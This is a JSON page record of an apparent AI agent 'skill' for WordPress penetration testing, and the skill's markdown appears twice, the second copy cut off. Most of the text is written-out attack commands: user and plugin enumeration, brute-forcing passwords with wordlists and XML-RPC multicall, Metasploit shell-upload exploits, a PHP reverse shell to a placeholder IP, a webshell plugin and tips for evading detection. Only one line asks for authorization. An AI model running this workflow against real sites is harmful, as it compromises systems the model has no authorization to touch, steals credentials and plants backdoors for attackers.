[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M717GFRZ9QSWCJH65JCZCHS4":3,"skill-same:01M717GFRZ9QSWCJH65JCZCHS4":71},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":51,"commitSha":52,"skillDirectory":53,"forksCount":14,"repositoryHtmlUrl":54,"repositoryHomepageUrl":6,"ownerHtmlUrl":55,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":56,"install":57,"resources":70},"01M717GFRZ9QSWCJH65JCZCHS4","wordpress-penetration-testing",null,"Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.","sapsapshen\u002Fai-memory-router","sapsapshen","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F20347959?v=4","01M6XDQEF1DP50DKF37H81J3J5","shenmian","01M6XDQEJPE41Y3DT2763X8ZJN",0,"MIT","https:\u002F\u002Fgithub.com\u002Fsapsapshen\u002Fai-memory-router\u002Fblob\u002Fmain\u002Fskills-store\u002Fcursor\u002Fwordpress-penetration-testing\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"wordpress","penetration testing","WordPress Penetration Testing","testing","penetration","themes","target","2026","conduct","unknown","for","techniques","attacks","users","critical","Security Testing","community","scanning","vulnerability","security","2026-11-10 10:12:30",false,"---\nname: wordpress-penetration-testing\ndescription: \"Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.\"\nrisk: unknown\nsource: community\nauthor: zebbern\ndate_added: \"2026-02-27\"\n---\n\n# WordPress Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.\n\n## Prerequisites\n\n### Required Tools\n- WPScan (pre-installed in Kali Linux)\n- Metasploit Framework\n- Burp Suite or OWASP ZAP\n- Nmap for initial discovery\n- cURL or wget\n\n### Required Knowledge\n- WordPress architecture and structure\n- Web application testing fundamentals\n- HTTP protocol understanding\n- Common web vulnerabilities (OWASP Top 10)\n\n## Outputs and Deliverables\n\n1. **WordPress Enumeration Report** - Version, themes, plugins, users\n2. **Vulnerability Assessment** - Identified CVEs and misconfigurations\n3. **Credential Assessment** - Weak password findings\n4. **Exploitation Proof** - Shell access documentation\n\n## Core Workflow\n\n### Phase 1: WordPress Discovery\n\nIdentify WordPress installations:\n\n```bash\n# Check for WordPress indicators\ncurl -s http:\u002F\u002Ftarget.com | grep -i wordpress\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"wp-content\"\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"wp-includes\"\n\n# Check common WordPress paths\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-login.php\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-admin\u002F\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-content\u002F\ncurl -I http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# Check meta generator tag\ncurl -s http:\u002F\u002Ftarget.com | grep \"generator\"\n\n# Nmap WordPress detection\nnmap -p 80,443 --script http-wordpress-enum target.com\n```\n\nKey WordPress files and directories:\n- `\u002Fwp-admin\u002F` - Admin dashboard\n- `\u002Fwp-login.php` - Login page\n- `\u002Fwp-content\u002F` - Themes, plugins, uploads\n- `\u002Fwp-includes\u002F` - Core files\n- `\u002Fxmlrpc.php` - XML-RPC interface\n- `\u002Fwp-config.php` - Configuration (not accessible if secure)\n- `\u002Freadme.html` - Version information\n\n### Phase 2: Basic WPScan Enumeration\n\nComprehensive WordPress scanning with WPScan:\n\n```bash\n# Basic scan\nwpscan --url http:\u002F\u002Ftarget.com\u002Fwordpress\u002F\n\n# With API token (for vulnerability data)\nwpscan --url http:\u002F\u002Ftarget.com --api-token YOUR_API_TOKEN\n\n# Aggressive detection mode\nwpscan --url http:\u002F\u002Ftarget.com --detection-mode aggressive\n\n# Output to file\nwpscan --url http:\u002F\u002Ftarget.com -o results.txt\n\n# JSON output\nwpscan --url http:\u002F\u002Ftarget.com -f json -o results.json\n\n# Verbose output\nwpscan --url http:\u002F\u002Ftarget.com -v\n```\n\n### Phase 3: WordPress Version Detection\n\nIdentify WordPress version:\n\n```bash\n# WPScan version detection\nwpscan --url http:\u002F\u002Ftarget.com\n\n# Manual version checks\ncurl -s http:\u002F\u002Ftarget.com\u002Freadme.html | grep -i version\ncurl -s http:\u002F\u002Ftarget.com\u002Ffeed\u002F | grep -i generator\ncurl -s http:\u002F\u002Ftarget.com | grep \"?ver=\"\n\n# Check meta generator\ncurl -s http:\u002F\u002Ftarget.com | grep 'name=\"generator\"'\n\n# Check RSS feeds\ncurl -s http:\u002F\u002Ftarget.com\u002Ffeed\u002F\ncurl -s http:\u002F\u002Ftarget.com\u002Fcomments\u002Ffeed\u002F\n```\n\nVersion sources:\n- Meta generator tag in HTML\n- readme.html file\n- RSS\u002FAtom feeds\n- JavaScript\u002FCSS file versions\n\n### Phase 4: Theme Enumeration\n\nIdentify installed themes:\n\n```bash\n# Enumerate all themes\nwpscan --url http:\u002F\u002Ftarget.com -e at\n\n# Enumerate vulnerable themes only\nwpscan --url http:\u002F\u002Ftarget.com -e vt\n\n# Theme enumeration with detection mode\nwpscan --url http:\u002F\u002Ftarget.com -e at --plugins-detection aggressive\n\n# Manual theme detection\ncurl -s http:\u002F\u002Ftarget.com | grep \"wp-content\u002Fthemes\u002F\"\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\n```\n\nTheme vulnerability checks:\n```bash\n# Search for theme exploits\nsearchsploit wordpress theme \u003Ctheme_name>\n\n# Check theme version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\u003Ctheme>\u002Fstyle.css | grep -i version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\u003Ctheme>\u002Freadme.txt\n```\n\n### Phase 5: Plugin Enumeration\n\nIdentify installed plugins:\n\n```bash\n# Enumerate all plugins\nwpscan --url http:\u002F\u002Ftarget.com -e ap\n\n# Enumerate vulnerable plugins only\nwpscan --url http:\u002F\u002Ftarget.com -e vp\n\n# Aggressive plugin detection\nwpscan --url http:\u002F\u002Ftarget.com -e ap --plugins-detection aggressive\n\n# Mixed detection mode\nwpscan --url http:\u002F\u002Ftarget.com -e ap --plugins-detection mixed\n\n# Manual plugin discovery\ncurl -s http:\u002F\u002Ftarget.com | grep \"wp-content\u002Fplugins\u002F\"\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002F\n```\n\nCommon vulnerable plugins to check:\n```bash\n# Search for plugin exploits\nsearchsploit wordpress plugin \u003Cplugin_name>\nsearchsploit wordpress mail-masta\nsearchsploit wordpress slideshow gallery\nsearchsploit wordpress reflex gallery\n\n# Check plugin version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002F\u003Cplugin>\u002Freadme.txt\n```\n\n### Phase 6: User Enumeration\n\nDiscover WordPress users:\n\n```bash\n# WPScan user enumeration\nwpscan --url http:\u002F\u002Ftarget.com -e u\n\n# Enumerate specific number of users\nwpscan --url http:\u002F\u002Ftarget.com -e u1-100\n\n# Author ID enumeration (manual)\nfor i in {1..20}; do\n    curl -s \"http:\u002F\u002Ftarget.com\u002F?author=$i\" | grep -o 'author\u002F[^\u002F]*\u002F'\ndone\n\n# JSON API user enumeration (if enabled)\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\n\n# REST API user enumeration\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers?per_page=100\n\n# Login error enumeration\ncurl -X POST -d \"log=admin&pwd=wrongpass\" http:\u002F\u002Ftarget.com\u002Fwp-login.php\n```\n\n### Phase 7: Comprehensive Enumeration\n\nRun all enumeration modules:\n\n```bash\n# Enumerate everything\nwpscan --url http:\u002F\u002Ftarget.com -e at -e ap -e u\n\n# Alternative comprehensive scan\nwpscan --url http:\u002F\u002Ftarget.com -e vp,vt,u,cb,dbe\n\n# Enumeration flags:\n# at - All themes\n# vt - Vulnerable themes\n# ap - All plugins\n# vp - Vulnerable plugins\n# u  - Users (1-10)\n# cb - Config backups\n# dbe - Database exports\n\n# Full aggressive enumeration\nwpscan --url http:\u002F\u002Ftarget.com -e at,ap,u,cb,dbe \\\n    --detection-mode aggressive \\\n    --plugins-detection aggressive\n```\n\n### Phase 8: Password Attacks\n\nBrute-force WordPress credentials:\n\n```bash\n# Single user brute-force\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Multiple users from file\nwpscan --url http:\u002F\u002Ftarget.com -U users.txt -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# With password attack threads\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --password-attack wp-login -t 50\n\n# XML-RPC brute-force (faster, may bypass protection)\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --password-attack xmlrpc\n\n# Brute-force with API limiting\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --throttle 500\n\n# Create targeted wordlist\ncewl http:\u002F\u002Ftarget.com -w wordlist.txt\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P wordlist.txt\n```\n\nPassword attack methods:\n- `wp-login` - Standard login form\n- `xmlrpc` - XML-RPC multicall (faster)\n- `xmlrpc-multicall` - Multiple passwords per request\n\n### Phase 9: Vulnerability Exploitation\n\n#### Metasploit Shell Upload\n\nAfter obtaining credentials:\n\n```bash\n# Start Metasploit\nmsfconsole\n\n# Admin shell upload\nuse exploit\u002Funix\u002Fwebapp\u002Fwp_admin_shell_upload\nset RHOSTS target.com\nset USERNAME admin\nset PASSWORD jessica\nset TARGETURI \u002Fwordpress\nset LHOST \u003Cyour_ip>\nexploit\n```\n\n#### Plugin Exploitation\n\n```bash\n# Slideshow Gallery exploit\nuse exploit\u002Funix\u002Fwebapp\u002Fwp_slideshowgallery_upload\nset RHOSTS target.com\nset TARGETURI \u002Fwordpress\nset USERNAME admin\nset PASSWORD jessica\nset LHOST \u003Cyour_ip>\nexploit\n\n# Search for WordPress exploits\nsearch type:exploit platform:php wordpress\n```\n\n#### Manual Exploitation\n\nTheme\u002Fplugin editor (with admin access):\n\n```php\n\u002F\u002F Navigate to Appearance > Theme Editor\n\u002F\u002F Edit 404.php or functions.php\n\u002F\u002F Add PHP reverse shell:\n\n\u003C?php\nexec(\"\u002Fbin\u002Fbash -c 'bash -i >& \u002Fdev\u002Ftcp\u002FYOUR_IP\u002F4444 0>&1'\");\n?>\n\n\u002F\u002F Or use weevely backdoor\n\u002F\u002F Access via: http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002Ftheme_name\u002F404.php\n```\n\nPlugin upload method:\n\n```bash\n# Create malicious plugin\ncat > malicious.php \u003C\u003C 'EOF'\n\u003C?php\n\u002F*\nPlugin Name: Malicious Plugin\nDescription: Security Testing\nVersion: 1.0\n*\u002F\nif(isset($_GET['cmd'])){\n    system($_GET['cmd']);\n}\n?>\nEOF\n\n# Zip and upload via Plugins > Add New > Upload Plugin\nzip malicious.zip malicious.php\n\n# Access webshell\ncurl \"http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002Fmalicious\u002Fmalicious.php?cmd=id\"\n```\n\n### Phase 10: Advanced Techniques\n\n#### XML-RPC Exploitation\n\n```bash\n# Check if XML-RPC is enabled\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# List available methods\ncurl -X POST -d '\u003C?xml version=\"1.0\"?>\u003CmethodCall>\u003CmethodName>system.listMethods\u003C\u002FmethodName>\u003C\u002FmethodCall>' http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# Brute-force via XML-RPC multicall\ncat > xmlrpc_brute.xml \u003C\u003C 'EOF'\n\u003C?xml version=\"1.0\"?>\n\u003CmethodCall>\n\u003CmethodName>system.multicall\u003C\u002FmethodName>\n\u003Cparams>\n\u003Cparam>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstruct>\n\u003Cmember>\u003Cname>methodName\u003C\u002Fname>\u003Cvalue>\u003Cstring>wp.getUsersBlogs\u003C\u002Fstring>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003Cmember>\u003Cname>params\u003C\u002Fname>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstring>admin\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstring>password1\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003C\u002Fstruct>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstruct>\n\u003Cmember>\u003Cname>methodName\u003C\u002Fname>\u003Cvalue>\u003Cstring>wp.getUsersBlogs\u003C\u002Fstring>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003Cmember>\u003Cname>params\u003C\u002Fname>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstring>admin\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstring>password2\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003C\u002Fstruct>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fparam>\n\u003C\u002Fparams>\n\u003C\u002FmethodCall>\nEOF\n\ncurl -X POST -d @xmlrpc_brute.xml http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n```\n\n#### Scanning Through Proxy\n\n```bash\n# Use Tor proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy socks5:\u002F\u002F127.0.0.1:9050\n\n# HTTP proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy http:\u002F\u002F127.0.0.1:8080\n\n# Burp Suite proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy http:\u002F\u002F127.0.0.1:8080 --disable-tls-checks\n```\n\n#### HTTP Authentication\n\n```bash\n# Basic authentication\nwpscan --url http:\u002F\u002Ftarget.com --http-auth admin:password\n\n# Force SSL\u002FTLS\nwpscan --url https:\u002F\u002Ftarget.com --disable-tls-checks\n```\n\n## Quick Reference\n\n### WPScan Enumeration Flags\n\n| Flag | Description |\n|------|-------------|\n| `-e at` | All themes |\n| `-e vt` | Vulnerable themes |\n| `-e ap` | All plugins |\n| `-e vp` | Vulnerable plugins |\n| `-e u` | Users (1-10) |\n| `-e cb` | Config backups |\n| `-e dbe` | Database exports |\n\n### Common WordPress Paths\n\n| Path | Purpose |\n|------|---------|\n| `\u002Fwp-admin\u002F` | Admin dashboard |\n| `\u002Fwp-login.php` | Login page |\n| `\u002Fwp-content\u002Fuploads\u002F` | User uploads |\n| `\u002Fwp-includes\u002F` | Core files |\n| `\u002Fxmlrpc.php` | XML-RPC API |\n| `\u002Fwp-json\u002F` | REST API |\n\n### WPScan Command Examples\n\n| Purpose | Command |\n|---------|---------|\n| Basic scan | `wpscan --url http:\u002F\u002Ftarget.com` |\n| All enumeration | `wpscan --url http:\u002F\u002Ftarget.com -e at,ap,u` |\n| Password attack | `wpscan --url http:\u002F\u002Ftarget.com -U admin -P pass.txt` |\n| Aggressive | `wpscan --url http:\u002F\u002Ftarget.com --detection-mode aggressive` |\n\n## Constraints and Limitations\n\n### Legal Considerations\n- Obtain written authorization before testing\n- Stay within defined scope\n- Document all testing activities\n- Follow responsible disclosure\n\n### Technical Limitations\n- WAF may block scanning\n- Rate limiting may prevent brute-force\n- Some plugins may have false negatives\n- XML-RPC may be disabled\n\n### Detection Evasion\n- Use random user agents: `--random-user-agent`\n- Throttle requests: `--throttle 1000`\n- Use proxy rotation\n- Avoid aggressive modes on monitored sites\n\n## Troubleshooting\n\n### WPScan Shows No Vulnerabilities\n\n**Solutions:**\n1. Use API token for vulnerability database\n2. Try aggressive detection mode\n3. Check for WAF blocking scans\n4. Verify WordPress is actually installed\n\n### Brute-Force Blocked\n\n**Solutions:**\n1. Use XML-RPC method instead of wp-login\n2. Add throttling: `--throttle 500`\n3. Use different user agents\n4. Check for IP blocking\u002Ffail2ban\n\n### Cannot Access Admin Panel\n\n**Solutions:**\n1. Verify credentials are correct\n2. Check for two-factor authentication\n3. Look for IP whitelist restrictions\n4. Check for login URL changes (security plugins)\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n","# WordPress Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.\n\n## Prerequisites\n\n### Required Tools\n- WPScan (pre-installed in Kali Linux)\n- Metasploit Framework\n- Burp Suite or OWASP ZAP\n- Nmap for initial discovery\n- cURL or wget\n\n### Required Knowledge\n- WordPress architecture and structure\n- Web application testing fundamentals\n- HTTP protocol understanding\n- Common web vulnerabilities (OWASP Top 10)\n\n## Outputs and Deliverables\n\n1. **WordPress Enumeration Report** - Version, themes, plugins, users\n2. **Vulnerability Assessment** - Identified CVEs and misconfigurations\n3. **Credential Assessment** - Weak password findings\n4. **Exploitation Proof** - Shell access documentation\n\n## Core Workflow\n\n### Phase 1: WordPress Discovery\n\nIdentify WordPress installations:\n\n```bash\n# Check for WordPress indicators\ncurl -s http:\u002F\u002Ftarget.com | grep -i wordpress\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"wp-content\"\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"wp-includes\"\n\n# Check common WordPress paths\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-login.php\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-admin\u002F\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-content\u002F\ncurl -I http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# Check meta generator tag\ncurl -s http:\u002F\u002Ftarget.com | grep \"generator\"\n\n# Nmap WordPress detection\nnmap -p 80,443 --script http-wordpress-enum target.com\n```\n\nKey WordPress files and directories:\n- `\u002Fwp-admin\u002F` - Admin dashboard\n- `\u002Fwp-login.php` - Login page\n- `\u002Fwp-content\u002F` - Themes, plugins, uploads\n- `\u002Fwp-includes\u002F` - Core files\n- `\u002Fxmlrpc.php` - XML-RPC interface\n- `\u002Fwp-config.php` - Configuration (not accessible if secure)\n- `\u002Freadme.html` - Version information\n\n### Phase 2: Basic WPScan Enumeration\n\nComprehensive WordPress scanning with WPScan:\n\n```bash\n# Basic scan\nwpscan --url http:\u002F\u002Ftarget.com\u002Fwordpress\u002F\n\n# With API token (for vulnerability data)\nwpscan --url http:\u002F\u002Ftarget.com --api-token YOUR_API_TOKEN\n\n# Aggressive detection mode\nwpscan --url http:\u002F\u002Ftarget.com --detection-mode aggressive\n\n# Output to file\nwpscan --url http:\u002F\u002Ftarget.com -o results.txt\n\n# JSON output\nwpscan --url http:\u002F\u002Ftarget.com -f json -o results.json\n\n# Verbose output\nwpscan --url http:\u002F\u002Ftarget.com -v\n```\n\n### Phase 3: WordPress Version Detection\n\nIdentify WordPress version:\n\n```bash\n# WPScan version detection\nwpscan --url http:\u002F\u002Ftarget.com\n\n# Manual version checks\ncurl -s http:\u002F\u002Ftarget.com\u002Freadme.html | grep -i version\ncurl -s http:\u002F\u002Ftarget.com\u002Ffeed\u002F | grep -i generator\ncurl -s http:\u002F\u002Ftarget.com | grep \"?ver=\"\n\n# Check meta generator\ncurl -s http:\u002F\u002Ftarget.com | grep 'name=\"generator\"'\n\n# Check RSS feeds\ncurl -s http:\u002F\u002Ftarget.com\u002Ffeed\u002F\ncurl -s http:\u002F\u002Ftarget.com\u002Fcomments\u002Ffeed\u002F\n```\n\nVersion sources:\n- Meta generator tag in HTML\n- readme.html file\n- RSS\u002FAtom feeds\n- JavaScript\u002FCSS file versions\n\n### Phase 4: Theme Enumeration\n\nIdentify installed themes:\n\n```bash\n# Enumerate all themes\nwpscan --url http:\u002F\u002Ftarget.com -e at\n\n# Enumerate vulnerable themes only\nwpscan --url http:\u002F\u002Ftarget.com -e vt\n\n# Theme enumeration with detection mode\nwpscan --url http:\u002F\u002Ftarget.com -e at --plugins-detection aggressive\n\n# Manual theme detection\ncurl -s http:\u002F\u002Ftarget.com | grep \"wp-content\u002Fthemes\u002F\"\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\n```\n\nTheme vulnerability checks:\n```bash\n# Search for theme exploits\nsearchsploit wordpress theme \u003Ctheme_name>\n\n# Check theme version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\u003Ctheme>\u002Fstyle.css | grep -i version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\u003Ctheme>\u002Freadme.txt\n```\n\n### Phase 5: Plugin Enumeration\n\nIdentify installed plugins:\n\n```bash\n# Enumerate all plugins\nwpscan --url http:\u002F\u002Ftarget.com -e ap\n\n# Enumerate vulnerable plugins only\nwpscan --url http:\u002F\u002Ftarget.com -e vp\n\n# Aggressive plugin detection\nwpscan --url http:\u002F\u002Ftarget.com -e ap --plugins-detection aggressive\n\n# Mixed detection mode\nwpscan --url http:\u002F\u002Ftarget.com -e ap --plugins-detection mixed\n\n# Manual plugin discovery\ncurl -s http:\u002F\u002Ftarget.com | grep \"wp-content\u002Fplugins\u002F\"\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002F\n```\n\nCommon vulnerable plugins to check:\n```bash\n# Search for plugin exploits\nsearchsploit wordpress plugin \u003Cplugin_name>\nsearchsploit wordpress mail-masta\nsearchsploit wordpress slideshow gallery\nsearchsploit wordpress reflex gallery\n\n# Check plugin version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002F\u003Cplugin>\u002Freadme.txt\n```\n\n### Phase 6: User Enumeration\n\nDiscover WordPress users:\n\n```bash\n# WPScan user enumeration\nwpscan --url http:\u002F\u002Ftarget.com -e u\n\n# Enumerate specific number of users\nwpscan --url http:\u002F\u002Ftarget.com -e u1-100\n\n# Author ID enumeration (manual)\nfor i in {1..20}; do\n    curl -s \"http:\u002F\u002Ftarget.com\u002F?author=$i\" | grep -o 'author\u002F[^\u002F]*\u002F'\ndone\n\n# JSON API user enumeration (if enabled)\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\n\n# REST API user enumeration\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers?per_page=100\n\n# Login error enumeration\ncurl -X POST -d \"log=admin&pwd=wrongpass\" http:\u002F\u002Ftarget.com\u002Fwp-login.php\n```\n\n### Phase 7: Comprehensive Enumeration\n\nRun all enumeration modules:\n\n```bash\n# Enumerate everything\nwpscan --url http:\u002F\u002Ftarget.com -e at -e ap -e u\n\n# Alternative comprehensive scan\nwpscan --url http:\u002F\u002Ftarget.com -e vp,vt,u,cb,dbe\n\n# Enumeration flags:\n# at - All themes\n# vt - Vulnerable themes\n# ap - All plugins\n# vp - Vulnerable plugins\n# u  - Users (1-10)\n# cb - Config backups\n# dbe - Database exports\n\n# Full aggressive enumeration\nwpscan --url http:\u002F\u002Ftarget.com -e at,ap,u,cb,dbe \\\n    --detection-mode aggressive \\\n    --plugins-detection aggressive\n```\n\n### Phase 8: Password Attacks\n\nBrute-force WordPress credentials:\n\n```bash\n# Single user brute-force\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Multiple users from file\nwpscan --url http:\u002F\u002Ftarget.com -U users.txt -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# With password attack threads\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --password-attack wp-login -t 50\n\n# XML-RPC brute-force (faster, may bypass protection)\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --password-attack xmlrpc\n\n# Brute-force with API limiting\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --throttle 500\n\n# Create targeted wordlist\ncewl http:\u002F\u002Ftarget.com -w wordlist.txt\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P wordlist.txt\n```\n\nPassword attack methods:\n- `wp-login` - Standard login form\n- `xmlrpc` - XML-RPC multicall (faster)\n- `xmlrpc-multicall` - Multiple passwords per request\n\n### Phase 9: Vulnerability Exploitation\n\n#### Metasploit Shell Upload\n\nAfter obtaining credentials:\n\n```bash\n# Start Metasploit\nmsfconsole\n\n# Admin shell upload\nuse exploit\u002Funix\u002Fwebapp\u002Fwp_admin_shell_upload\nset RHOSTS target.com\nset USERNAME admin\nset PASSWORD jessica\nset TARGETURI \u002Fwordpress\nset LHOST \u003Cyour_ip>\nexploit\n```\n\n#### Plugin Exploitation\n\n```bash\n# Slideshow Gallery exploit\nuse exploit\u002Funix\u002Fwebapp\u002Fwp_slideshowgallery_upload\nset RHOSTS target.com\nset TARGETURI \u002Fwordpress\nset USERNAME admin\nset PASSWORD jessica\nset LHOST \u003Cyour_ip>\nexploit\n\n# Search for WordPress exploits\nsearch type:exploit platform:php wordpress\n```\n\n#### Manual Exploitation\n\nTheme\u002Fplugin editor (with admin access):\n\n```php\n\u002F\u002F Navigate to Appearance > Theme Editor\n\u002F\u002F Edit 404.php or functions.php\n\u002F\u002F Add PHP reverse shell:\n\n\u003C?php\nexec(\"\u002Fbin\u002Fbash -c 'bash -i >& \u002Fdev\u002Ftcp\u002FYOUR_IP\u002F4444 0>&1'\");\n?>\n\n\u002F\u002F Or use weevely backdoor\n\u002F\u002F Access via: http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002Ftheme_name\u002F404.php\n```\n\nPlugin upload method:\n\n```bash\n# Create malicious plugin\ncat > malicious.php \u003C\u003C 'EOF'\n\u003C?php\n\u002F*\nPlugin Name: Malicious Plugin\nDescription: Security Testing\nVersion: 1.0\n*\u002F\nif(isset($_GET['cmd'])){\n    system($_GET['cmd']);\n}\n?>\nEOF\n\n# Zip and upload via Plugins > Add New > Upload Plugin\nzip malicious.zip malicious.php\n\n# Access webshell\ncurl \"http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002Fmalicious\u002Fmalicious.php?cmd=id\"\n```\n\n### Phase 10: Advanced Techniques\n\n#### XML-RPC Exploitation\n\n```bash\n# Check if XML-RPC is enabled\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# List available methods\ncurl -X POST -d '\u003C?xml version=\"1.0\"?>\u003CmethodCall>\u003CmethodName>system.listMethods\u003C\u002FmethodName>\u003C\u002FmethodCall>' http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# Brute-force via XML-RPC multicall\ncat > xmlrpc_brute.xml \u003C\u003C 'EOF'\n\u003C?xml version=\"1.0\"?>\n\u003CmethodCall>\n\u003CmethodName>system.multicall\u003C\u002FmethodName>\n\u003Cparams>\n\u003Cparam>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstruct>\n\u003Cmember>\u003Cname>methodName\u003C\u002Fname>\u003Cvalue>\u003Cstring>wp.getUsersBlogs\u003C\u002Fstring>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003Cmember>\u003Cname>params\u003C\u002Fname>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstring>admin\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstring>password1\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003C\u002Fstruct>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstruct>\n\u003Cmember>\u003Cname>methodName\u003C\u002Fname>\u003Cvalue>\u003Cstring>wp.getUsersBlogs\u003C\u002Fstring>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003Cmember>\u003Cname>params\u003C\u002Fname>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstring>admin\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstring>password2\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003C\u002Fstruct>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fparam>\n\u003C\u002Fparams>\n\u003C\u002FmethodCall>\nEOF\n\ncurl -X POST -d @xmlrpc_brute.xml 